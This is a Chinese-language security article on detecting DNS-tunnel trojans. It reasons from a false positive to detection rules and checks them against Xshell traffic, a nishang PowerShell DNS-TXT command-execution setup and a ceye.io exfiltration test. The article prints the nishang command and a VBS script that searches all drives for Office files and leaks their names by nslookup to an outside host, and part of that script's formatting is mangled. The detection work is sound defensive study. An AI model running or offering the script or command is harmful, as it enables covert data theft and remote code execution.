當前位置:
首頁 > 新聞 > 一次誤報引發的DNS檢測方案的思考:DNS隧道檢測平民解決方案

一次誤報引發的DNS檢測方案的思考:DNS隧道檢測平民解決方案

*

本文作者:ChuanFile,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。


隨著dns隧道應用的越來越廣泛,尤其是xshell事件被公布以後,各大公司紛紛啟動對dns隧道的監控,參考xshell的邏輯,大多數公司採取了「監控多個終端請求異常長度域名」的檢測方案,其中注重檢出率的公司為了提高檢出率(當然會提高誤報率)進一步降低了多終端的數量,採取了「單個終端請求了異常長度的域名」的方案來發現所有疑似dns隧道木馬。

筆者前陣子突然發現幾台機器頻繁解析詭的域名,如下:



經過緊張的排查定位確認為瀏覽器的某插件導致,相關全域名存在註冊記錄,非dns隧道木馬,為誤報。大家都鬆了口氣,但是也引起了反思,怎麼才能更精準的發現真正的dns隧道木馬?


大數據分析?夠高大上!但落地成本高,複雜度也高,對於一般公司來說很難實施,為此筆者從dns隧道的原理和黑客的思路入手分析,提出一些簡單的檢測方案,僅供參考!


正文:


原理分析:


眾所周知,dns隧道木馬外傳數據是利用1、過長的不存在的域名(其中隨機數即為外傳數據)2、txt回包作為回傳數據(更新配置、模塊等),詳細分析這種利用開放53埠(可廣義理解為漏洞)的傳輸方式的技術:


1、**

通用外傳方式分析**



a)    方式1:利用本機dns配置,發送域名請求,通過遞歸到達黑客控制的dns伺服器(壞人需擁有或拿下dns服務                        器)

b)     方式2:更改本機dns配置,配置為8.8.8.8等公共dns,然後通過遞歸外傳到達黑客控制的dns伺服器


c)     方式3:直接構造dns包體,發送到8.8.8.8等公共dns,然後利用遞歸外傳到達黑客控制的dns伺服器


d)     方式4:直接構造dns包體,發送到本機dns伺服器,然後利用遞歸外傳到達黑客控制的dns伺服器


e)     方式5:直接構造dns包體,發送到自己控制的dns伺服器,直接獲取數據


2、**

安全取證分析**



a)    

 方式1:此方式走系統dns配置,無法獲取哪個程序調用了dns請求,僅能看到系統svchost.exe進行了dns請求,

但一旦發現異常可通過配置dns黑名單止損

b)     方式2:此方式走系統dns配置,無法獲取哪個程序調用了dns請求,僅可獲取dns配置被更改的日誌,但無法獲取誰更改的,僅能看到系統svchost.exe進行了dns請求,因公共服務不在公司控制範圍,所有無法通過配置域名解析黑名單止損


c)     方式3:此方式可獲取哪個進程發起了dns請求(xshell就是利用了此方案),同樣,因公共服務不在公司控制範圍,所有無法通過配置域名解析黑名單止損


d)     方式4:此方式可獲取哪個進程發起了dns請求(xshell就是利用了此方案),

但一旦發現異常可通過配置dns黑名單止損


e)     方式5:此方式可獲取哪個進程發起了dns請求,但直接暴露黑客dns位置,

可通過直接屏蔽惡意dns目的止損


3、**

惡意進程和黑dns伺服器交互分析**


a)     惡意進程僅用超長域名記錄外傳數據,不利用txt回包獲取回傳數據,不利用A記錄回包作為C&C地址,純竊取敏感信息的木馬就是利用此方式,這行情況下:


i.          dns伺服器無需提供解析服務,即dns伺服器可以無回包


ii.          dns伺服器如提供解析服務返回解析的ip地址,但本機進程也不關注,即本機進程不對解析結果發包(無socket通信)


b)     惡意進程用超長域名記錄外傳數據,利用txt回包獲取回傳數據,不利用A記錄回包作為C&C地址,xshell就是利用此方式,這行情況下:



i.          dns伺服器需提供解析服務,即dns伺服器有txt回包,可能有A記錄回包


ii.          dns伺服器需提供解析服務,但本機進程也不關注,即本機進程不對解析結果發包(無socket通信)


c)     惡意進程用超長域名記錄外傳數據,利用txt回包獲取回傳數據,並利用A記錄回包作為C&C地址,

此方式不是純dns隧道,不符合dns的隱蔽性,從dns隧道角度分析黑客理論上利用此方式幾率極小

,這行情況下:



i.          dns伺服器需提供解析服務,即dns伺服器有txt回包,可能有A記錄回包

ii.          本機程序對解析出的A記錄發起訪問(有socket通信)


d)     惡意進程用超長域名記錄外傳數據,不利用txt回包獲取回傳數據,但利用A記錄回包作為C&C地址,但此方式多為正常程序使用,

不是純dns隧道,不符合dns的隱蔽性,從dns隧道角度分析黑客理論上利用此方式幾率極小

,這行情況下:



i.          dns伺服器需提供解析服務,即dns伺服器有回包,但是A記錄類型


ii.         本機進程對此A記錄進行訪問關注,即本機進程對解析結果地址發包


結論:


完成外傳方式分析、取證分析、惡意進程和黑dns伺服器交互分析等三部分的分析後,我們已完全掌握黑客的伎倆,接下來我們再深入分析下,首先,我們結合下黑客的心理,黑客利用dns隧道的目的是繞過防禦(如禁止外聯)、躲避流量檢測(如snort特徵碼檢測)、躲避ioc檢測(如外聯惡意ip、惡意域名)等,那黑客必然不會對dns相關(如解析出的ip)的ip進行額外的通信,如http、socket等,既是存在非dns通信也是通過txt回包獲取c&c罷了,這樣才可以充分利用dns的隱蔽性。其次我們從黑客入侵的目的出發,入侵的最終目的無非是為了竊取數據外傳,竊取單個賬號密碼只是中間過程,最終還是為了竊取大量數據,那利用dns怎麼外傳大量數據呢,超長域名*頻率就是外傳的數據量,僅超長域名不排除在外傳賬號密碼等少量新的可能性,但高頻率就一定在大量外傳了。第三從域名註冊角度分析,dns必然涉及到域名問題,假設正在請求的超長域名已存在註冊記錄,那必然不是dns隧道方式,因註冊記錄是固定的,能承載的信息也就是固定的,一定不可能是外傳的數據。


通過以上分析得出監控需要關注的幾個要素:長域名、頻率、txt類型、終端是否對解析ip發起訪問、是否有全域名註冊記錄,推導檢測邏輯如下:

方向1:特徵檢測:


檢測竊密木馬(無需更新和接收指令):     【域名超長 or 頻率高】  and 【終端無進程對返回的A記錄(如有)發起訪問】 and 【不存在全域名註冊記錄】


檢測遠控木馬(需更新和接收指令):         【域名超長 or 頻率高】  and 【終端無進程對返回的A記錄(如有)發起訪問】 and 【不存在全域名註冊記錄】 and 【存在txt回包】


通用檢測(可發現單次外傳,存在瀏覽器預解析等誤報,需結合其他特徵確認):


{【存在txt回包】and 【不存在全域名註冊記錄】}  or  {【終端無進程對返回的A記錄(如有)發起訪問】  and 【不存在全域名註冊記錄】}


方向2:基於外傳量檢測,發現正在進行的大量數據泄露(不分析細節,僅供參考,本次實驗不涉及):


單台機器檢測:    域名長度(3+N級的域名) * 域名數量(相同只計算一個) > 單台機器閾值,評測外傳數據大小,達到閾值則觸發報警


群體事件檢測:     A機器域名長度(3+N級的域名)* A機器域名數量(相同只計算一個)  + B +…  >   多台機器閾值,評測外傳數據大小,達到閾值則觸發報警

實驗驗證分析:


為驗證此方案的邏輯正確性,筆者實驗如下:


Xshell實驗驗證:


1、

直接運行xshell,觸發dns行為


2、

外傳結果抓包:



3、

檢測邏輯匹配分析:



a)     

外傳域名超長


b)     

頻率較高


c)     

類型為TXT,有回包


d)     

無A記錄解析結果,也就無程序對結果發起訪問


e)     

不存在全域名註冊記錄(黑客根據演算法提前註冊了部分域名,但全域名無註冊信息)


結論:竊密木馬+遠控木馬


Powershell dns實驗驗證:


1、

利用powershell構造dns隧道


a)     

編寫一個最簡單的一句話腳本,獲取服務列表



b)     

使用nishang的Out-NnsTxt將腳本GetServiceToTxt.ps1轉換為txt記錄



c)     

在dns伺服器建立對應txt記錄(後續執行需按照1,2,3,4的順序,所以建立記錄名為1)




驗證結果,ok



d)     

使用nishang的DNS_TXT_Pwnage讀取txt並執行(

腳本自動在test.com前加1,向1.test.com請求txt記錄作為腳本執行。不過筆者最終也沒搞懂stopstring這個參數的原理,懂的朋友麻煩私信下,謝謝!

 

),可正常獲取服務列表。


命令和結果如下:


DNS_TXT_Pwnage -startdomainstartflag.test.com -cmdstring nostart -commanddomain  txt1.test.com -psstring startflag -psdomain test.com -Subdomains 1 -stopstring stopflag



2、

外傳結果抓包:


使用Microsoft Network Monitor抓包分析



3、

檢測邏輯匹配分析:



a)     

因實驗未將結果外傳,所以域名長度不大,如dns隧道外傳則必使用長域名


b)     

因實驗未將結果外傳,所以頻率不高,且只獲取遠端的get-server功能,頻率也不高,但要實現外傳和獲取更多功能(如mimikatz等),則必然需要高頻率


c)     

類型為TXT,有回包


d)     

無A記錄解析結果,也就無程序對結果發起訪問


e)     

此實驗場景未覆蓋外傳數據,所以不涉及註冊問題


結論:遠控木馬(實驗功能較單一,擴展為大馬則可精確覆蓋檢測特徵)


利用ceye.io的外傳實驗驗證


1、 

少量信息竊取和大量信息竊取


a)     

單次少量信息竊取外傳,簡單利用windows命令(ping、nslookup等)即可竊取機器名



b)    

多次大量信息竊取,編寫腳本,搜索文檔(word、excel、ppt),並外傳文件名(此腳本360 未報警),vbs腳本內容如下

 

(

 

代碼未充分驗證,不保證無錯誤,中文支持或讀文件內容請自行修改)

"On ErrorResume NextSet fso =CreateObject("Scripting.FileSystemObject")toolsName=Array(".docx",".doc",".xls",".xlsx",".ppt",".pptx")"ConstDRIVE_LETTERS="C:D:E:F:G:H:I:J:K:L:M:N:O:P:Q:R:S:T:U:V:W:X:Y:Z"ConstDRIVE_LETTERS="o"""""""""""""開始搜索CallScanDrives()                      """"""""""""""""""""SubScanDrives()     Dim drives     drives=Split(DRIVE_LETTERS,":")     For Each drv In drives        If fso.DriveExists(drv) Then             Set drive=fso.GetDrive(drv)            If drive.isReady Then                CallScanFiles(drive.RootFolder)            End If        End If     Next End Sub """""""""""" SubScanFiles(folder)     For Each this_file In folder.Files        On Error Resume Next        Call FindKeyFile(this_file)        WScript.Sleep 1     Next    For Each this_folder In folder.SubFolders        On Error Resume Next        Call ScanFiles(this_folder)        WScript.Sleep 1     Next    End Sub """""""""""查找特定文件 SubFindKeyFile(file)    On Error Resume Next   For Each tool_name In toolsName         "WScript.Echo          """"將文件名都轉為大寫匹配         IfInStr(UCase(file.name),UCase(tool_name)) <>0 Then             DnsStr= file.name &".xxxxxxx.ceye.io"        """"進行靜默nslookup上傳                         setobjShell=wscript.createObject("wscript.shell")                      objShell.exec("%comspec% /c nslookup " & DnsStr)             End If     Next End Sub

2、

外傳結果展示:


a)     

單次少量信息竊取外傳



b)     

多次大量信息竊取



3、

檢測邏輯匹配分析:


a)     

利用A記錄外傳,非txt回包,長度不超長(實驗原因,未充分利用域名長度),但頻率較高,解析過程未發現異常(但此截圖為8.8.8.8,非系統dns存在一定風險)



b)     

對解析A記錄結果無後續訪問



c)     

不存在全域名註冊記錄


結論:竊取數據木馬


*本文作者:ChuanFile,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。

喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

逆天而行:我們如何在雲中發掘殭屍網路
漏洞預警 | 海洋CMS(SEACMS)0day漏洞預警

TAG:FreeBuf |